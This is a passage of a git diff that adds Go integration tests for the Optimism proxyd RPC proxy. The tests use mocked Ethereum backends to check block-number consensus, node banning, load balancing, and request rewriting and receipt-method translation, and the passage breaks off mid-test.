[]byte(asArray(goodChainIdResponse, goodEthCallResponse, goodNetVersionResponse)), res) + RequireEqualJSON(t, []byte(asArray(goodChainIdResponse, goodEthCallResponse, goodNetVersionResponse, goodEthGetBlockByHash)), res) require.Equal(t, 0, countRequests(backend, "eth_chainId")) require.Equal(t, 0, countRequests(backend, "net_version")) + require.Equal(t, 0, countRequests(backend, "eth_getBlockByHash")) require.Equal(t, 1, countRequests(backend, "eth_call")) } diff --git a/go/proxyd/integration_tests/consensus_test.go b/go/proxyd/integration_tests/consensus_test.go new file mode 100644 index 0000000000..1b37ef7527 --- /dev/null +++ b/go/proxyd/integration_tests/consensus_test.go @@ -0,0 +1,1002 @@ +package integration_tests + +import ( + "context" + "encoding/json" + "fmt" + "net/http" + "os" + "path" + "testing" + "time" + + "github.com/ethereum/go-ethereum/common/hexutil" + + "github.com/ethereum-optimism/optimism/proxyd" + ms "github.com/ethereum-optimism/optimism/proxyd/tools/mockserver/handler" + "github.com/stretchr/testify/require" +) + +type nodeContext struct { + backend *proxyd.Backend // this is the actual backend impl in proxyd + mockBackend *MockBackend // this is the fake backend that we can use to mock responses + handler *ms.MockedHandler // this is where we control the state of mocked responses +} + +func setup(t *testing.T) (map[string]nodeContext, *proxyd.BackendGroup, *ProxydHTTPClient, func()) { + // setup mock servers + node1 := NewMockBackend(nil) + node2 := NewMockBackend(nil) + + dir, err := os.Getwd() + require.NoError(t, err) + + responses := path.Join(dir, "testdata/consensus_responses.yml") + + h1 := ms.MockedHandler{ + Overrides: []*ms.MethodTemplate{}, + Autoload: true, + AutoloadFile: responses, + } + h2 := ms.MockedHandler{ + Overrides: []*ms.MethodTemplate{}, + Autoload: true, + AutoloadFile: responses, + } + + require.NoError(t, os.Setenv("NODE1_URL", node1.URL())) + require.NoError(t, os.Setenv("NODE2_URL", node2.URL())) + + node1.SetHandler(http.HandlerFunc(h1.Handler)) + node2.SetHandler(http.HandlerFunc(h2.Handler)) + + // setup proxyd + config := ReadConfig("consensus") + svr, shutdown, err := proxyd.Start(config) + require.NoError(t, err) + + // expose the proxyd client + client := NewProxydClient("http://127.0.0.1:8545") + + // expose the backend group + bg := svr.BackendGroups["node"] + require.NotNil(t, bg) + require.NotNil(t, bg.Consensus) + require.Equal(t, 2, len(bg.Backends)) // should match config + + // convenient mapping to access the nodes by name + nodes := map[string]nodeContext{ + "node1": { + mockBackend: node1, + backend: bg.Backends[0], + handler: &h1, + }, + "node2": { + mockBackend: node2, + backend: bg.Backends[1], + handler: &h2, + }, + } + + return nodes, bg, client, shutdown +} + +func TestConsensus(t *testing.T) { + nodes, bg, client, shutdown := setup(t) + defer nodes["node1"].mockBackend.Close() + defer nodes["node2"].mockBackend.Close() + defer shutdown() + + ctx := context.Background() + + // poll for updated consensus + update := func() { + for _, be := range bg.Backends { + bg.Consensus.UpdateBackend(ctx, be) + } + bg.Consensus.UpdateBackendGroupConsensus(ctx) + } + + // convenient methods to manipulate state and mock responses + reset := func() { + for _, node := range nodes { + node.handler.ResetOverrides() + node.mockBackend.Reset() + } + bg.Consensus.ClearListeners() + bg.Consensus.Reset() + } + + override := func(node string, method string, block string, response string) { + nodes[node].handler.AddOverride(&ms.MethodTemplate{ + Method: method, + Block: block, + Response: response, + }) + } + + overrideBlock := func(node string, blockRequest string, blockResponse string) { + override(node, + "eth_getBlockByNumber", + blockRequest, + buildResponse(map[string]string{ + "number": blockResponse, + "hash": "hash_" + blockResponse, + })) + } + + overrideBlockHash := func(node string, blockRequest string, number string, hash string) { + override(node, + "eth_getBlockByNumber", + blockRequest, + buildResponse(map[string]string{ + "number": number, + "hash": hash, + })) + } + + overridePeerCount := func(node string, count int) { + override(node, "net_peerCount", "", buildResponse(hexutil.Uint64(count).String())) + } + + overrideNotInSync := func(node string) { + override(node, "eth_syncing", "", buildResponse(map[string]string{ + "startingblock": "0x0", + "currentblock": "0x0", + "highestblock": "0x100", + })) + } + + // force ban node2 and make sure node1 is the only one in consensus + useOnlyNode1 := func() { + overridePeerCount("node2", 0) + update() + + consensusGroup := bg.Consensus.GetConsensusGroup() + require.Equal(t, 1, len(consensusGroup)) + require.Contains(t, consensusGroup, nodes["node1"].backend) + nodes["node1"].mockBackend.Reset() + } + + t.Run("initial consensus", func(t *testing.T) { + reset() + + // unknown consensus at init + require.Equal(t, "0x0", bg.Consensus.GetLatestBlockNumber().String()) + + // first poll + update() + + // as a default we use: + // - latest at 0x101 [257] + // - safe at 0xe1 [225] + // - finalized at 0xc1 [193] + + // consensus at block 0x101 + require.Equal(t, "0x101", bg.Consensus.GetLatestBlockNumber().String()) + require.Equal(t, "0xe1", bg.Consensus.GetSafeBlockNumber().String()) + require.Equal(t, "0xc1", bg.Consensus.GetFinalizedBlockNumber().String()) + }) + + t.Run("prevent using a backend with low peer count", func(t *testing.T) { + reset() + overridePeerCount("node1", 0) + update() + + consensusGroup := bg.Consensus.GetConsensusGroup() + require.NotContains(t, consensusGroup, nodes["node1"].backend) + require.False(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.Equal(t, 1, len(consensusGroup)) + }) + + t.Run("prevent using a backend lagging behind", func(t *testing.T) { + reset() + // node2 is 8+1 blocks ahead of node1 (0x101 + 8+1 = 0x10a) + overrideBlock("node2", "latest", "0x10a") + update() + + // since we ignored node1, the consensus should be at 0x10a + require.Equal(t, "0x10a", bg.Consensus.GetLatestBlockNumber().String()) + require.Equal(t, "0xe1", bg.Consensus.GetSafeBlockNumber().String()) + require.Equal(t, "0xc1", bg.Consensus.GetFinalizedBlockNumber().String()) + + consensusGroup := bg.Consensus.GetConsensusGroup() + require.NotContains(t, consensusGroup, nodes["node1"].backend) + require.False(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.Equal(t, 1, len(consensusGroup)) + }) + + t.Run("prevent using a backend lagging behind - one before limit", func(t *testing.T) { + reset() + // node2 is 8 blocks ahead of node1 (0x101 + 8 = 0x109) + overrideBlock("node2", "latest", "0x109") + update() + + // both nodes are in consensus with the lowest block + require.Equal(t, "0x101", bg.Consensus.GetLatestBlockNumber().String()) + require.Equal(t, "0xe1", bg.Consensus.GetSafeBlockNumber().String()) + require.Equal(t, "0xc1", bg.Consensus.GetFinalizedBlockNumber().String()) + require.Equal(t, 2, len(bg.Consensus.GetConsensusGroup())) + }) + + t.Run("prevent using a backend not in sync", func(t *testing.T) { + reset() + // make node1 not in sync + overrideNotInSync("node1") + update() + + consensusGroup := bg.Consensus.GetConsensusGroup() + require.NotContains(t, consensusGroup, nodes["node1"].backend) + require.False(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.Equal(t, 1, len(consensusGroup)) + }) + + t.Run("advance consensus", func(t *testing.T) { + reset() + + // as a default we use: + // - latest at 0x101 [257] + // - safe at 0xe1 [225] + // - finalized at 0xc1 [193] + + update() + + // all nodes start at block 0x101 + require.Equal(t, "0x101", bg.Consensus.GetLatestBlockNumber().String()) + + // advance latest on node2 to 0x102 + overrideBlock("node2", "latest", "0x102") + + update() + + // consensus should stick to 0x101, since node1 is still lagging there + bg.Consensus.UpdateBackendGroupConsensus(ctx) + require.Equal(t, "0x101", bg.Consensus.GetLatestBlockNumber().String()) + + // advance latest on node1 to 0x102 + overrideBlock("node1", "latest", "0x102") + + update() + + // all nodes now at 0x102 + require.Equal(t, "0x102", bg.Consensus.GetLatestBlockNumber().String()) + }) + + t.Run("should use lowest safe and finalized", func(t *testing.T) { + reset() + overrideBlock("node2", "finalized", "0xc2") + overrideBlock("node2", "safe", "0xe2") + update() + + require.Equal(t, "0xe1", bg.Consensus.GetSafeBlockNumber().String()) + require.Equal(t, "0xc1", bg.Consensus.GetFinalizedBlockNumber().String()) + }) + + t.Run("advance safe and finalized", func(t *testing.T) { + reset() + overrideBlock("node1", "finalized", "0xc2") + overrideBlock("node1", "safe", "0xe2") + overrideBlock("node2", "finalized", "0xc2") + overrideBlock("node2", "safe", "0xe2") + update() + + require.Equal(t, "0xe2", bg.Consensus.GetSafeBlockNumber().String()) + require.Equal(t, "0xc2", bg.Consensus.GetFinalizedBlockNumber().String()) + }) + + t.Run("ban backend if error rate is too high", func(t *testing.T) { + reset() + useOnlyNode1() + + // replace node1 handler with one that always returns 500 + oldHandler := nodes["node1"].mockBackend.handler + defer func() { nodes["node1"].mockBackend.handler = oldHandler }() + + nodes["node1"].mockBackend.SetHandler(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(503) + })) + + numberReqs := 10 + for numberReqs > 0 { + _, statusCode, err := client.SendRPC("eth_getBlockByNumber", []interface{}{"0x101", false}) + require.NoError(t, err) + require.Equal(t, 503, statusCode) + numberReqs-- + } + + update() + + consensusGroup := bg.Consensus.GetConsensusGroup() + require.NotContains(t, consensusGroup, nodes["node1"].backend) + require.True(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.Equal(t, 0, len(consensusGroup)) + }) + + t.Run("ban backend if tags are messed - safe < finalized", func(t *testing.T) { + reset() + overrideBlock("node1", "finalized", "0xb1") + overrideBlock("node1", "safe", "0xa1") + update() + + require.Equal(t, "0xe1", bg.Consensus.GetSafeBlockNumber().String()) + require.Equal(t, "0xc1", bg.Consensus.GetFinalizedBlockNumber().String()) + + consensusGroup := bg.Consensus.GetConsensusGroup() + require.NotContains(t, consensusGroup, nodes["node1"].backend) + require.True(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.Equal(t, 1, len(consensusGroup)) + }) + + t.Run("ban backend if tags are messed - latest < safe", func(t *testing.T) { + reset() + overrideBlock("node1", "safe", "0xb1") + overrideBlock("node1", "latest", "0xa1") + update() + + require.Equal(t, "0x101", bg.Consensus.GetLatestBlockNumber().String()) + require.Equal(t, "0xc1", bg.Consensus.GetFinalizedBlockNumber().String()) + require.Equal(t, "0xe1", bg.Consensus.GetSafeBlockNumber().String()) + + consensusGroup := bg.Consensus.GetConsensusGroup() + require.NotContains(t, consensusGroup, nodes["node1"].backend) + require.True(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.Equal(t, 1, len(consensusGroup)) + }) + + t.Run("ban backend if tags are messed - safe dropped", func(t *testing.T) { + reset() + update() + overrideBlock("node1", "safe", "0xb1") + update() + + require.Equal(t, "0x101", bg.Consensus.GetLatestBlockNumber().String()) + require.Equal(t, "0xe1", bg.Consensus.GetSafeBlockNumber().String()) + require.Equal(t, "0xc1", bg.Consensus.GetFinalizedBlockNumber().String()) + + consensusGroup := bg.Consensus.GetConsensusGroup() + require.NotContains(t, consensusGroup, nodes["node1"].backend) + require.True(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.Equal(t, 1, len(consensusGroup)) + }) + + t.Run("ban backend if tags are messed - finalized dropped", func(t *testing.T) { + reset() + update() + overrideBlock("node1", "finalized", "0xa1") + update() + + require.Equal(t, "0x101", bg.Consensus.GetLatestBlockNumber().String()) + require.Equal(t, "0xe1", bg.Consensus.GetSafeBlockNumber().String()) + require.Equal(t, "0xc1", bg.Consensus.GetFinalizedBlockNumber().String()) + + consensusGroup := bg.Consensus.GetConsensusGroup() + require.NotContains(t, consensusGroup, nodes["node1"].backend) + require.True(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.Equal(t, 1, len(consensusGroup)) + }) + + t.Run("recover after safe and finalized dropped", func(t *testing.T) { + reset() + useOnlyNode1() + overrideBlock("node1", "latest", "0xd1") + overrideBlock("node1", "safe", "0xb1") + overrideBlock("node1", "finalized", "0x91") + update() + + consensusGroup := bg.Consensus.GetConsensusGroup() + require.NotContains(t, consensusGroup, nodes["node1"].backend) + require.True(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.Equal(t, 0, len(consensusGroup)) + + // unban and see if it recovers + bg.Consensus.Unban(nodes["node1"].backend) + update() + + consensusGroup = bg.Consensus.GetConsensusGroup() + require.Contains(t, consensusGroup, nodes["node1"].backend) + require.False(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.Equal(t, 1, len(consensusGroup)) + + require.Equal(t, "0xd1", bg.Consensus.GetLatestBlockNumber().String()) + require.Equal(t, "0xb1", bg.Consensus.GetSafeBlockNumber().String()) + require.Equal(t, "0x91", bg.Consensus.GetFinalizedBlockNumber().String()) + }) + + t.Run("latest dropped below safe, then recovered", func(t *testing.T) { + reset() + useOnlyNode1() + overrideBlock("node1", "latest", "0xd1") + update() + + consensusGroup := bg.Consensus.GetConsensusGroup() + require.NotContains(t, consensusGroup, nodes["node1"].backend) + require.True(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.Equal(t, 0, len(consensusGroup)) + + // unban and see if it recovers + bg.Consensus.Unban(nodes["node1"].backend) + overrideBlock("node1", "safe", "0xb1") + overrideBlock("node1", "finalized", "0x91") + update() + + consensusGroup = bg.Consensus.GetConsensusGroup() + require.Contains(t, consensusGroup, nodes["node1"].backend) + require.False(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.Equal(t, 1, len(consensusGroup)) + + require.Equal(t, "0xd1", bg.Consensus.GetLatestBlockNumber().String()) + require.Equal(t, "0xb1", bg.Consensus.GetSafeBlockNumber().String()) + require.Equal(t, "0x91", bg.Consensus.GetFinalizedBlockNumber().String()) + }) + + t.Run("latest dropped below safe, and stayed inconsistent", func(t *testing.T) { + reset() + useOnlyNode1() + overrideBlock("node1", "latest", "0xd1") + update() + + consensusGroup := bg.Consensus.GetConsensusGroup() + require.NotContains(t, consensusGroup, nodes["node1"].backend) + require.True(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.Equal(t, 0, len(consensusGroup)) + + // unban and see if it recovers - it should not since the blocks stays the same + bg.Consensus.Unban(nodes["node1"].backend) + update() + + // should be banned again + consensusGroup = bg.Consensus.GetConsensusGroup() + require.NotContains(t, consensusGroup, nodes["node1"].backend) + require.True(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.Equal(t, 0, len(consensusGroup)) + }) + + t.Run("broken consensus", func(t *testing.T) { + reset() + listenerCalled := false + bg.Consensus.AddListener(func() { + listenerCalled = true + }) + update() + + // all nodes start at block 0x101 + require.Equal(t, "0x101", bg.Consensus.GetLatestBlockNumber().String()) + + // advance latest on both nodes to 0x102 + overrideBlock("node1", "latest", "0x102") + overrideBlock("node2", "latest", "0x102") + + update() + + // at 0x102 + require.Equal(t, "0x102", bg.Consensus.GetLatestBlockNumber().String()) + + // make node2 diverge on hash + overrideBlockHash("node2", "0x102", "0x102", "wrong_hash") + + update() + + // should resolve to 0x101, since 0x102 is out of consensus at the moment + require.Equal(t, "0x101", bg.Consensus.GetLatestBlockNumber().String()) + + // everybody serving traffic + consensusGroup := bg.Consensus.GetConsensusGroup() + require.Equal(t, 2, len(consensusGroup)) + require.False(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.False(t, bg.Consensus.IsBanned(nodes["node2"].backend)) + + // onConsensusBroken listener was called + require.True(t, listenerCalled) + }) + + t.Run("broken consensus with depth 2", func(t *testing.T) { + reset() + listenerCalled := false + bg.Consensus.AddListener(func() { + listenerCalled = true + }) + update() + + // all nodes start at block 0x101 + require.Equal(t, "0x101", bg.Consensus.GetLatestBlockNumber().String()) + + // advance latest on both nodes to 0x102 + overrideBlock("node1", "latest", "0x102") + overrideBlock("node2", "latest", "0x102") + + update() + + // at 0x102 + require.Equal(t, "0x102", bg.Consensus.GetLatestBlockNumber().String()) + + // advance latest on both nodes to 0x3 + overrideBlock("node1", "latest", "0x103") + overrideBlock("node2", "latest", "0x103") + + update() + + // at 0x103 + require.Equal(t, "0x103", bg.Consensus.GetLatestBlockNumber().String()) + + // make node2 diverge on hash for blocks 0x102 and 0x103 + overrideBlockHash("node2", "0x102", "0x102", "wrong_hash_0x102") + overrideBlockHash("node2", "0x103", "0x103", "wrong_hash_0x103") + + update() + + // should resolve to 0x101 + require.Equal(t, "0x101", bg.Consensus.GetLatestBlockNumber().String()) + + // everybody serving traffic + consensusGroup := bg.Consensus.GetConsensusGroup() + require.Equal(t, 2, len(consensusGroup)) + require.False(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.False(t, bg.Consensus.IsBanned(nodes["node2"].backend)) + + // onConsensusBroken listener was called + require.True(t, listenerCalled) + }) + + t.Run("fork in advanced block", func(t *testing.T) { + reset() + listenerCalled := false + bg.Consensus.AddListener(func() { + listenerCalled = true + }) + update() + + // all nodes start at block 0x101 + require.Equal(t, "0x101", bg.Consensus.GetLatestBlockNumber().String()) + + // make nodes 1 and 2 advance in forks, i.e. they have same block number with different hashes + overrideBlockHash("node1", "0x102", "0x102", "node1_0x102") + overrideBlockHash("node2", "0x102", "0x102", "node2_0x102") + overrideBlockHash("node1", "0x103", "0x103", "node1_0x103") + overrideBlockHash("node2", "0x103", "0x103", "node2_0x103") + overrideBlockHash("node1", "latest", "0x103", "node1_0x103") + overrideBlockHash("node2", "latest", "0x103", "node2_0x103") + + update() + + // should resolve to 0x101, the highest common ancestor + require.Equal(t, "0x101", bg.Consensus.GetLatestBlockNumber().String()) + + // everybody serving traffic + consensusGroup := bg.Consensus.GetConsensusGroup() + require.Equal(t, 2, len(consensusGroup)) + require.False(t, bg.Consensus.IsBanned(nodes["node1"].backend)) + require.False(t, bg.Consensus.IsBanned(nodes["node2"].backend)) + + // onConsensusBroken listener should not be called + require.False(t, listenerCalled) + }) + + t.Run("load balancing should hit both backends", func(t *testing.T) { + reset() + update() + + require.Equal(t, 2, len(bg.Consensus.GetConsensusGroup())) + + // reset request counts + nodes["node1"].mockBackend.Reset() + nodes["node2"].mockBackend.Reset() + + require.Equal(t, 0, len(nodes["node1"].mockBackend.Requests())) + require.Equal(t, 0, len(nodes["node2"].mockBackend.Requests())) + + // there is a random component to this test, + // since our round-robin implementation shuffles the ordering + // to achieve uniform distribution + + // so we just make 100 requests per backend and expect the number of requests to be somewhat balanced + // i.e. each backend should be hit minimally by at least 50% of the requests + consensusGroup := bg.Consensus.GetConsensusGroup() + + numberReqs := len(consensusGroup) * 100 + for numberReqs > 0 { + _, statusCode, err := client.SendRPC("eth_getBlockByNumber", []interface{}{"0x101", false}) + require.NoError(t, err) + require.Equal(t, 200, statusCode) + numberReqs-- + } + + msg := fmt.Sprintf("n1 %d, n2 %d", + len(nodes["node1"].mockBackend.Requests()), len(nodes["node2"].mockBackend.Requests())) + require.GreaterOrEqual(t, len(nodes["node1"].mockBackend.Requests()), 50, msg) + require.GreaterOrEqual(t, len(nodes["node2"].mockBackend.Requests()), 50, msg) + }) + + t.Run("load balancing should not hit if node is not healthy", func(t *testing.T) { + reset() + useOnlyNode1() + + // reset request counts + nodes["node1"].mockBackend.Reset() + nodes["node2"].mockBackend.Reset() + + require.Equal(t, 0, len(nodes["node1"].mockBackend.Requests())) + require.Equal(t, 0, len(nodes["node1"].mockBackend.Requests())) + + numberReqs := 10 + for numberReqs > 0 { + _, statusCode, err := client.SendRPC("eth_getBlockByNumber", []interface{}{"0x101", false}) + require.NoError(t, err) + require.Equal(t, 200, statusCode) + numberReqs-- + } + + msg := fmt.Sprintf("n1 %d, n2 %d", + len(nodes["node1"].mockBackend.Requests()), len(nodes["node2"].mockBackend.Requests())) + require.Equal(t, len(nodes["node1"].mockBackend.Requests()), 10, msg) + require.Equal(t, len(nodes["node2"].mockBackend.Requests()), 0, msg) + }) + + t.Run("load balancing should not hit if node is degraded", func(t *testing.T) { + reset() + useOnlyNode1() + + // replace node1 handler with one that adds a 500ms delay + oldHandler := nodes["node1"].mockBackend.handler + defer func() { nodes["node1"].mockBackend.handler = oldHandler }() + + nodes["node1"].mockBackend.SetHandler(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + time.Sleep(500 * time.Millisecond) + oldHandler.ServeHTTP(w, r) + })) + + update() + + // send 10 requests to make node1 degraded + numberReqs := 10 + for numberReqs > 0 { + _, statusCode, err := client.SendRPC("eth_getBlockByNumber", []interface{}{"0x101", false}) + require.NoError(t, err) + require.Equal(t, 200, statusCode) + numberReqs-- + } + + // bring back node2 + nodes["node2"].handler.ResetOverrides() + update() + + // reset request counts + nodes["node1"].mockBackend.Reset() + nodes["node2"].mockBackend.Reset() + + require.Equal(t, 0, len(nodes["node1"].mockBackend.Requests())) + require.Equal(t, 0, len(nodes["node2"].mockBackend.Requests())) + + numberReqs = 10 + for numberReqs > 0 { + _, statusCode, err := client.SendRPC("eth_getBlockByNumber", []interface{}{"0x101", false}) + require.NoError(t, err) + require.Equal(t, 200, statusCode) + numberReqs-- + } + + msg := fmt.Sprintf("n1 %d, n2 %d", + len(nodes["node1"].mockBackend.Requests()), len(nodes["node2"].mockBackend.Requests())) + require.Equal(t, 0, len(nodes["node1"].mockBackend.Requests()), msg) + require.Equal(t, 10, len(nodes["node2"].mockBackend.Requests()), msg) + }) + + t.Run("rewrite response of eth_blockNumber", func(t *testing.T) { + reset() + update() + + totalRequests := len(nodes["node1"].mockBackend.Requests()) + len(nodes["node2"].mockBackend.Requests()) + require.Equal(t, 2, len(bg.Consensus.GetConsensusGroup())) + + resRaw, statusCode, err := client.SendRPC("eth_blockNumber", nil) + require.NoError(t, err) + require.Equal(t, 200, statusCode) + + var jsonMap map[string]interface{} + err = json.Unmarshal(resRaw, &jsonMap) + require.NoError(t, err) + require.Equal(t, "0x101", jsonMap["result"]) + + // no extra request hit the backends + require.Equal(t, totalRequests, + len(nodes["node1"].mockBackend.Requests())+len(nodes["node2"].mockBackend.Requests())) + }) + + t.Run("rewrite request of eth_getBlockByNumber for latest", func(t *testing.T) { + reset() + useOnlyNode1() + + _, statusCode, err := client.SendRPC("eth_getBlockByNumber", []interface{}{"latest"}) + require.NoError(t, err) + require.Equal(t, 200, statusCode) + + var jsonMap map[string]interface{} + err = json.Unmarshal(nodes["node1"].mockBackend.Requests()[0].Body, &jsonMap) + require.NoError(t, err) + require.Equal(t, "0x101", jsonMap["params"].([]interface{})[0]) + }) + + t.Run("rewrite request of eth_getBlockByNumber for finalized", func(t *testing.T) { + reset() + useOnlyNode1() + + _, statusCode, err := client.SendRPC("eth_getBlockByNumber", []interface{}{"finalized"}) + require.NoError(t, err) + require.Equal(t, 200, statusCode) + + var jsonMap map[string]interface{} + err = json.Unmarshal(nodes["node1"].mockBackend.Requests()[0].Body, &jsonMap) + require.NoError(t, err) + require.Equal(t, "0xc1", jsonMap["params"].([]interface{})[0]) + }) + + t.Run("rewrite request of eth_getBlockByNumber for safe", func(t *testing.T) { + reset() + useOnlyNode1() + + _, statusCode, err := client.SendRPC("eth_getBlockByNumber", []interface{}{"safe"}) + require.NoError(t, err) + require.Equal(t, 200, statusCode) + + var jsonMap map[string]interface{} + err = json.Unmarshal(nodes["node1"].mockBackend.Requests()[0].Body, &jsonMap) + require.NoError(t, err) + require.Equal(t, "0xe1", jsonMap["params"].([]interface{})[0]) + }) + + t.Run("rewrite request of eth_getBlockByNumber - out of range", func(t *testing.T) { + reset() + useOnlyNode1() + + resRaw, statusCode, err := client.SendRPC("eth_getBlockByNumber", []interface{}{"0x300"}) + require.NoError(t, err) + require.Equal(t, 400, statusCode) + + var jsonMap map[string]interface{} + err = json.Unmarshal(resRaw, &jsonMap) + require.NoError(t, err) + require.Equal(t, -32019, int(jsonMap["error"].(map[string]interface{})["code"].(float64))) + require.Equal(t, "block is out of range", jsonMap["error"].(map[string]interface{})["message"]) + }) + + t.Run("batched rewrite", func(t *testing.T) { + reset() + useOnlyNode1() + + resRaw, statusCode, err := client.SendBatchRPC( + NewRPCReq("1", "eth_getBlockByNumber", []interface{}{"latest"}), + NewRPCReq("2", "eth_getBlockByNumber", []interface{}{"0x102"}), + NewRPCReq("3", "eth_getBlockByNumber", []interface{}{"0xe1"})) + require.NoError(t, err) + require.Equal(t, 200, statusCode) + + var jsonMap []map[string]interface{} + err = json.Unmarshal(resRaw, &jsonMap) + require.NoError(t, err) + require.Equal(t, 3, len(jsonMap)) + + // rewrite latest to 0x101 + require.Equal(t, "0x101", jsonMap[0]["result"].(map[string]interface{})["number"]) + + // out of bounds for block 0x102 + require.Equal(t, -32019, int(jsonMap[1]["error"].(map[string]interface{})["code"].(float64))) + require.Equal(t, "block is out of range", jsonMap[1]["error"].(map[string]interface{})["message"]) + + // dont rewrite for 0xe1 + require.Equal(t, "0xe1", jsonMap[2]["result"].(map[string]interface{})["number"]) + }) + + t.Run("translate consensus_getReceipts to debug_getRawReceipts", func(t *testing.T) { + reset() + useOnlyNode1() + update() + + // reset request counts + nodes["node1"].mockBackend.Reset() + + resRaw, statusCode, err := client.SendRPC("consensus_getReceipts", + []interface{}{"0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b"}) + require.NoError(t, err) + require.Equal(t, 200, statusCode) + + var jsonMap map[string]interface{} + err = json.Unmarshal(nodes["node1"].mockBackend.Requests()[0].Body, &jsonMap) + require.NoError(t, err) + require.Equal(t, "debug_getRawReceipts", jsonMap["method"]) + require.Equal(t, "0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b", jsonMap["params"].([]interface{})[0]) + + var resJsonMap map[string]interface{} + err = json.Unmarshal(resRaw, &resJsonMap) + require.NoError(t, err) + + require.Equal(t, "debug_getRawReceipts", resJsonMap["result"].(map[string]interface{})["method"].(string)) + require.Equal(t, "debug_getRawReceipts", resJsonMap["result"].(map[string]interface{})["result"].(map[string]interface{})["_"]) + }) + + t.Run("translate consensus_getReceipts to debug_getRawReceipts with latest block tag", func(t *testing.T) { + reset() + useOnlyNode1() + update() + + // reset request counts + nodes["node1"].mockBackend.Reset() + + resRaw, statusCode, err := client.SendRPC("consensus_getReceipts", + []interface{}{"latest"}) + + require.NoError(t, err) + require.Equal(t, 200, statusCode) + + var jsonMap map[string]interface{} + err = json.Unmarshal(nodes["node1"].mockBackend.Requests()[0].Body, &jsonMap) + require.NoError(t, err) + require.Equal(t, "debug_getRawReceipts", jsonMap["method"]) + require.Equal(t, "0x101", jsonMap["params"].([]interface{})[0]) + + var resJsonMap map[string]interface{} + err = json.Unmarshal(resRaw, &resJsonMap) + require.NoError(t, err) + + require.Equal(t, "debug_getRawReceipts", resJsonMap["result"].(map[string]interface{})["method"].(string)) + require.Equal(t, "debug_getRawReceipts", resJsonMap["result"].(map[string]interface{})["result"].(map[string]interface{})["_"]) + }) + + t.Run("translate consensus_getReceipts to debug_getRawReceipts with block number", func(t *testing.T) { + reset() + useOnlyNode1() + update() + + // reset request counts + nodes["node1"].mockBackend.Reset() + + resRaw, statusCode, err := client.SendRPC("consensus_getReceipts", + []interface{}{"0x55"}) + + require.NoError(t, err) + require.Equal(t, 200, statusCode) + + var jsonMap map[string]interface{} + err = json.Unmarshal(nodes["node1"].mockBackend.Requests()[0].Body, &jsonMap) + require.NoError(t, err) + require.Equal(t, "debug_getRawReceipts", jsonMap["method"]) + require.Equal(t, "0x55", jsonMap["params"].([]interface{})[0]) + + var resJsonMap map[string]interface{} + err = json.Unmarshal(resRaw, &resJsonMap) + require.NoError(t, err) + + require.Equal(t, "debug_getRawReceipts", resJsonMap["result"].(map[string]interface{})["method"].(string)) + require.Equal(t, "debug_getRawReceipts", resJsonMap["result"].(map[string]interface{})["result"].(map[string]interface{})["_"]) + }) + + t.Run("translate consensus_getReceipts to alchemy_getTransactionReceipts with block hash", func(t *testing.T) { + reset() + useOnlyNode1() + update() + + // reset request counts + nodes["node1"].mockBackend.Reset() + + nodes["node1"].backend.Override(proxyd.WithConsensusReceiptTarget("alchemy_getTransactionReceipts")) + defer nodes["node1"].backend.Override(proxyd.WithConsensusReceiptTarget("debug_getRawReceipts")) + + resRaw, statusCode, err := client.SendRPC("consensus_getReceipts", + []interface{}{"0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b"}) + + require.NoError(t, err) + require.Equal(t, 200, statusCode) + + var reqJsonMap map[string]interface{} + err = json.Unmarshal(nodes["node1"].mockBackend.Requests()[0].Body, &reqJsonMap) + + require.NoError(t, err) + require.Equal(t, "alchemy_getTransactionReceipts", reqJsonMap["method"]) + require.Equal(t, "0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b", reqJsonMap["params"].([]interface{})[0].(map[string]interface{})["blockHash"]) + + var resJsonMap map[string]interface{} + err = json.Unmarshal(resRaw, &resJsonMap) + require.NoError(t, err) + + require.Equal(t, "alchemy_getTransactionReceipts", resJsonMap["result"].(map[string]interface{})["method"].(string)) + require.Equal(t, "alchemy_getTransactionReceipts", resJsonMap["result"].(map[string]interface{})["result"].(map[string]interface{})["_"]) + }) + + t.Run("translate consensus_getReceipts to alchemy_getTransactionReceipts with block number", func(t *testing.T) { + reset() + useOnlyNode1() + update() + + // reset request counts + nodes["node1"].mockBackend.Reset() + + nodes["node1"].backend.Override(proxyd.WithConsensusReceiptTarget("alchemy_getTransactionReceipts")) + defer nodes["node1"].backend.Override(proxyd.WithConsensusReceiptTarget("debug_getRawReceipts")) + + resRaw, statusCode, err := client.SendRPC("consensus_getReceipts", + []interface{}{"0x55"}) + + require.NoError(t, err) + require.Equal(t, 200, statusCode) + + var reqJsonMap map[string]interface{} + err = json.Unmarshal(nodes["node1"].mockBackend.Requests()[0].Body, &reqJsonMap) + + require.NoError(t, err) + require.Equal(t, "alchemy_getTransactionReceipts", reqJsonMap["method"]) + require.Equal(t, "0x55", reqJsonMap["params"].([]interface{})[0].(map[string]interface{})["blockNumber"]) + + var resJsonMap map[string]interface{} + err = json.Unmarshal(resRaw, &resJsonMap) + require.NoError(t, err) + + require.Equal(t, "alchemy_getTransactionReceipts", resJsonMap["result"].(map[string]interface{})["method"].(string)) + require.Equal(t, "alchemy_getTransactionReceipts", resJsonMap["result"].(map[string]interface{})["result"].(map[string]interface{})["_"]) + }) + + t.Run("translate consensus_getReceipts to 